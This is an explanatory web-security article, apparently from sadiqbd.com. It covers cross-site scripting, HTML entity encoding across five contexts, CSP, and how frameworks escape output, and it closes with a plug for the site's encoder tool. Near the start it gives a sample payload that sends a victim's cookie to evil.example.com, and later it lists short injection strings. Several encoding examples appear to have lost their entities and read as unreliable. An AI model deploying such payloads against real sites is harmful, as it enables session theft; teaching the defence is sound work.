XSS and HTML Encoding: The Five Contexts That Require Different Escaping

Cross-site scripting is still the most common web vulnerability — and unescaped HTML is the mechanism

Cross-site scripting (XSS) has appeared in the OWASP Top 10 list of web vulnerabilities for over two decades. It was third in 2021. The attack is conceptually simple: inject malicious HTML or JavaScript into a page that other users view. The reason it persists is that every place user input is reflected in a web page is a potential injection point — and there are always more injection points than developers remember.

HTML entity encoding is one of the core defences. Understanding it, and understanding when it's not sufficient, is foundational to web security.

How XSS works

The basic stored XSS attack:

1. An attacker submits content to a website: <script>document.location='https://evil.example.com/steal?cookie='+document.cookie;</script>
2. The website stores this content in a database (a comment, a username, a product description)
3. When another user views the page, the server renders the stored content into the HTML
4. The browser executes the <script> tag as JavaScript
5. The attacker receives the victim's session cookie and can impersonate them

The defence: never render user-controlled content as raw HTML. HTML-encode it first so that <script> becomes <script> — displayed as literal text, not executed as code.

HTML entities: the complete encoding map

HTML special characters that must be encoded:

The minimum for HTML body context: encode <, >, and &.

For HTML attribute values: also encode " and ' (whichever delimits the attribute).

The most critical: & must always be encoded first, before encoding the others. Otherwise < → < and then the & in < gets encoded again → < (double encoding).

The five encoding contexts

Different contexts in HTML require different encoding — this is where many XSS defences fail. Encoding correctly for one context doesn't protect another.

Context 1: HTML body

User content rendered between HTML tags:

<p>User input here: ENCODE FOR HTML</p>

Encode: < → <, > → >, & → &

Context 2: HTML attribute (double-quoted)

<input value="ENCODE FOR ATTRIBUTE">

Encode all HTML entities AND " → "

An attacker could inject: " onmouseover="alert(1) — which becomes a second attribute executing JavaScript. Encoding the quote character prevents the attribute from being closed early.

Context 3: JavaScript string

<script>
var username = "ENCODE FOR JAVASCRIPT";
</script>

HTML encoding is NOT sufficient here. JavaScript strings require JavaScript encoding: \ → \\, " → \", ' → \', newlines → \n. Many frameworks have separate functions for this context.

An attacker could inject: "; alert(1); // — closing the string, executing a new statement, and commenting out the remainder.

Context 4: URL context

<a href="https://example.com/search?q=ENCODE FOR URL">

URLs require percent-encoding for user-controlled values: space → %20, < → %3C, > → %3E. Using HTML entities in a URL context doesn't prevent injection.

Context 5: CSS context

<div style="background-color: USER_INPUT">

CSS values can contain expression() and other mechanisms that execute JavaScript in older browsers. User input should never be placed in CSS values without strict validation and encoding.

Why HTML encoding alone isn't enough: CSP

HTML encoding prevents injection when applied correctly to every context. But correctly applying context-appropriate encoding to every reflection point in a complex application is difficult — any missed location is a vulnerability.

Content Security Policy (CSP) provides a second layer: it tells the browser which sources of scripts, styles, and other resources are legitimate. A strict CSP rejects inline scripts entirely:

Content-Security-Policy: default-src 'self'; script-src 'nonce-{random}' 'strict-dynamic'; object-src 'none';

With a nonce-based CSP, <script> tags without the correct nonce don't execute — even if an attacker successfully injects them. This makes many XSS attacks ineffective even when encoding is missed.

Common framework encoding behaviours

React: JSX automatically escapes all user-controlled values rendered as text. {userInput} is HTML-encoded. The exception: dangerouslySetInnerHTML bypasses encoding entirely — its name is deliberate.

Django templates: auto-escaping is enabled by default. {{ user_input }} is HTML-encoded. The |safe filter disables encoding — only use it for content you've verified is safe.

Jinja2: auto-escaping is disabled by default for non-HTML extensions. Enable it explicitly with autoescape=True for HTML templates.

PHP echo: no escaping. Always use htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before outputting user input.

How to use the HTML Entities tool on sadiqbd.com

Encoding:

1. Paste text containing special characters
2. Encode — <script>alert(1)</script> becomes <script>alert(1)</script>
3. Use the encoded output for safe HTML display

Decoding:

1. Paste HTML-encoded text
2. Decode — < becomes < (or further decode to <)
3. Use for reading encoded content in HTML source

Frequently Asked Questions

Why do I see both < and < for the same character? Both represent the same character (<) — one uses a named entity reference, the other uses a numeric character reference (decimal). All modern browsers handle both identically. Named entities are more readable; numeric references work for characters without named equivalents.

Is URL encoding the same as HTML encoding? No — they're different encoding systems for different contexts. < is < in HTML encoding and %3C in URL percent-encoding. Using the wrong encoding for the wrong context doesn't prevent injection.

Is the HTML Entities tool free? Yes — completely free, no sign-up required.

HTML entity encoding is one layer of XSS defence. Applied correctly to every rendering context, it prevents the direct injection mechanism. Combined with CSP, it provides defence in depth against one of the web's most persistent vulnerability classes.

Try the HTML Entities tool free at sadiqbd.com — encode or decode HTML entities for any text instantly.